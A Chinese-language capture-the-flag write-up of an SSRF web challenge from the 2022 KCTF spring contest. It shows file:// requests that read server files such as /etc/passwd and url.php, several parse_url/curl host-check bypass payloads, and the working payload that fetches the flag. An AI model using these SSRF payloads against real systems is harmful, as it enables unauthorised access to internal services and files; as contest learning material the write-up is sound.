-
-
[原创] 看雪 2022 KCTF 春季赛 第四题 飞蛾扑火
-
2022-5-17 04:10 4078
-
题解
访问 http://121.36.145.157:8044/
,查看源代码:
1 2 3 4 5 6 7 8 9 10 | <html> <head> <meta charset = "utf-8" > <title>欢迎挑战 Design by 香草< / title> < / head> <body> <! - - phpinfo.php - - > <img src = "url.php?url=https://ctf.pediy.com/upload/team/762/team236762.png" > < / body> < / html> |
url.php?url=
一眼ssrf,file协议读文件:http://121.36.145.157:8044/url.php?url=file://127.0.0.1/var/www/html/url.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | <?php function curl_request($url, $data = null, $method = 'get' , $header = array( "content-type: application/json" ), $https = true, $timeout = 5 ){ $method = strtoupper($method); $ch = curl_init(); / / 初始化 curl_setopt($ch, CURLOPT_URL, $url); / / 访问的URL curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); / / 只获取页面内容,但不输出 if ($https){ curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); / / https请求 不验证证书 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); / / https请求 不验证HOST } if ($method ! = "GET" ) { if ($method = = 'POST' ){ curl_setopt($ch, CURLOPT_POST, true); / / 请求方式为post请求 } if ($method = = 'PUT' || strtoupper($method) = = 'DELETE' ) { curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); / / 设置请求方式 } curl_setopt($ch, CURLOPT_POSTFIELDS, $data); / / 请求数据 } curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_HTTPHEADER, $header); / / 模拟的header头 / / curl_setopt($ch, CURLOPT_HEADER, false); / / 设置不需要头信息 $result = curl_exec($ch); / / 执行请求 curl_close($ch); / / 关闭curl,释放资源 return $result; } $url = $_GET[ "url" ]; $uu = parse_url($url); $host = isset($uu[ "host" ])?$uu[ "host" ]:""; $scheme = isset($uu[ "scheme" ])?$uu[ "scheme" ]:""; if (empty($host)){ die( "host is null" ); } if (empty($scheme)){ die( "scheme is null" ); } / / https: / / ctf.pediy.com / upload / team / 762 / team236762.png? if ($host = = "ctf.pediy.com" ||$host = = "127.0.0.1" ||$host = = "localhost" ){ / / echo curl_request( "http://123.57.254.42/flag.php" , "get" ,[],true, 5 ); / / get flag echo curl_request($url,'', "get" ,[],true, 5 ); } else { die( "host not allow" ); } ?> |
直接访问 http://123.57.254.42/flag.php
提示 error ip
,需要从服务端去访问。
参考 https://toutiao.io/posts/kuvr3yy/preview 绕 parse_url
过滤:http://121.36.145.157:8044/url.php?url=123.57.254.42://127.0.0.1/../flag.php
得到flag:
1 | flag{xxx_999()xx * @eeEEE} |
碎碎念
(表面Web,实际Misc)
属于那种见过秒杀(真·可以按秒计数的),没见过打死也做不出来的题
(逆向题至少还可以花时间死磕,这类题真的无从下手)
从一血战队竟然花了47min之久来看,比起相信他们是花了几十分钟才现场搜索到相关资料,更倾向于相信他们12点时在吃饭没空看题,然后12点40分吃完回来,看了眼题然后秒杀
自己的做题过程
Web题,查看源代码是基本操作。本题的首页除了图片,额外的提示就是phpinfo.php
和url.php
的存在。
(回想起来,自己的第一步操作是把图片拉下来 binwalk
走一遍看有没有隐写……纯粹浪费时间)
首页用url.php?url=
加载图片的方式直白的点出了SSRF(Server-Side Request Forgery,服务端请求伪造),通过控制 url
参数肯定能获得一些重要的内部信息。
保守起见还是先看了一眼phpinfo:http://121.36.145.157:8044/phpinfo.php
,几个引起注意的地方:
1 2 3 4 5 6 7 8 9 10 | Apache Version Apache / 2.4 . 38 (Debian) Server API Apache 2.0 Handler CONTEXT_DOCUMENT_ROOT / var / www / html SCRIPT_FILENAME / var / www / html / phpinfo.php PHP Version 7.3 . 11 disable_functions no value no value open_basedir no value no value cURL Information 7.64 . 0 |
Apache、PHP、cURL的版本都不算高,大概率存在一些 CVE(当然,没必要现在就考虑这些)
Server API 表明 PHP 以 mod_php 模式作为一个动态库直接加载进 Apache 进程中,那么 SSRF 打 PHP-FPM 获得 RCE 的套路在本题中不存在
Web的根目录是默认的/var/www/html
,所以 phpinfo.php
和 url.php
也在这个目录下
open_basedir 和 disable_functions 都是空,让人有强烈的获得 webshell 的冲动
(从题解来看,这些信息都没啥用)
关注点回到 url.php
,第一个目标是先获取到源码内容以进一步分析。
印象里ssrf常用file协议读文件,先构造一下:
http://121.36.145.157:8044/url.php?url=file://etc/passwd
,返回了host not allow
然后各种搜索资料,发现file:
之后要有三个/
(前两个是url中的,第三个是根目录),修改一下:http://121.36.145.157:8044/url.php?url=file:///etc/passwd
,返回了host is null
继续搜索,20多分钟后才找到一篇文章说file://
协议也可以加host
,再修改一下:http://121.36.145.157:8044/url.php?url=file://127.0.0.1/var/www/html/url.php
,成功收到了响应(需要查看源代码才能看到内容)
最后是获得url.php
的内容:(查看源代码)http://121.36.145.157:8044/url.php?url=file://127.0.0.1/var/www/html/url.php
代码中有一行 http://123.57.254.42/flag.php
,直接访问返回了 error ip
,结合ssrf能够猜到需要设法让服务器去访问此页面。(顺手试了一发XFF伪造发现不行)
现在思考的是如何绕过 parse_url
对 url
的过滤检查。搜索资料,很多文章都提到了 php parse_url
和 curl 对 url 的解析规则不同。
(自己构造需要相当的创造力,亦或者对二者的源码非常熟练;从做题角度还是寻找前人的工作最快捷)
绝大多数文章给出的都是用两个 @
的方法:http://u:p@123.57.254.42@127.0.0.1/flag.php
,然而却没有得到flag
(到目前为止是12点30分,题目放出后只过了30分钟就摸到了最后一步,没想到却被临门一脚卡了两天)
本地测试不需要配置web服务器,只需要装好php环境,把代码里的 _GET
改掉即可直接命令行启动。
失败的尝试(也是比较容易搜索到的方法):
- 双 "
@
" 绕过,parse_url
按照最后一个@
解析host
,curl 按照第一个@
解析host
:大部分技术文章给出的结果,curl解析后的host
只包含两个@
之间的内容,但实测发现curl把第一个@
到第一个/
之间的所有内容都作为host
,由于其中包含第二个@
字符,在curl_exec
时会失败
与curl的版本有关,这种利用方式出自 blackhat'17的一个工作,原作者提到已被修复 - "
#@
" 绕过:http://123.57.254.42#@127.0.0.1/flag.php
或http://127.0.0.1#@123.57.254.42/flag.php
,都不能用 0://123.57.254.42:80;127.0.0.1:80/flag.php
或//123.57.254.42:80;127.0.0.1:80/flag.php
- ...
总结下来,网上的技术文章虽然很多,但原创且具有时效性的着实难找。题目的php版本很低,但是curl的版本却不低,上面的尝试大都失败在curl_exec
中,因为新版的curl对url的解析更严谨了。
开始走偏路,因为 open_basedir 为空,用 file://
读了服务器的 /proc/net/tcp
文件找监听的端口(寄希望找到 redis
之类的服务打 RCE),发现只有web服务在监听,基本杜绝了获得 shell 的可能
php 7.3.11 版本过旧,能找到很多公开的 CVE,但在题目的苛刻条件下也无法利用
眼见提交人数达到两位数,基本可以确定题目的破解方式一定是最原始的简单ssrf,而且是可以公开搜索到 POC 的。
思路转回,开始不断变换关键字搜索各种可能相关的文章(Misc题的既视感),直到在搜索结果不起眼的位置发现了 浅谈 URL 协议 这篇,作者 香草
。
(既然是出题人写的文章,那答案几乎一定就在里面)
(另一启示:搜索解法时带上出题人的名字,第一个结果就是这篇文章)
3.2部分给出了一种其他多数文章没有提到的构造方法:
1 2 3 4 5 6 7 | 127.0 . 0.1 : / / www.baidu.com 对于这种特殊的协议格式,就比较有意思 parse_url 识别的 host 为 www.baidu.com 但是 curl 请求会认为是 127.0 . 0.1 ,这就 可能导致问题,比如利用 parse_url 验证 host 是否为 127.0 . 0.1 这种内网 IP,然 后 用 curl 发 起 请 求 , 就 可 能 等 导 致 ssrf 攻 击 。 比 如 : 127.0 . 0.1 : / / www.baidu.com / .. / index.php 这里得到的 host 是 www.baidu.com,但是 curl 实际访问的确是 127.0 . 0.1 |
按照这种方法构造出 123.57.254.42://127.0.0.1/../flag.php
,然后作为url
参数请求url.php
:
1 | http: / / 121.36 . 145.157 : 8044 / url.php?url = 123.57 . 254.42 : / / 127.0 . 0.1 / .. / flag.php |
终于获得的flag
(p.s. 本地 curl 命令行测试失败,不清楚具体原因。既然题已经做出来了,
那安心等待结束,学习其他人的writeup吧)
看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~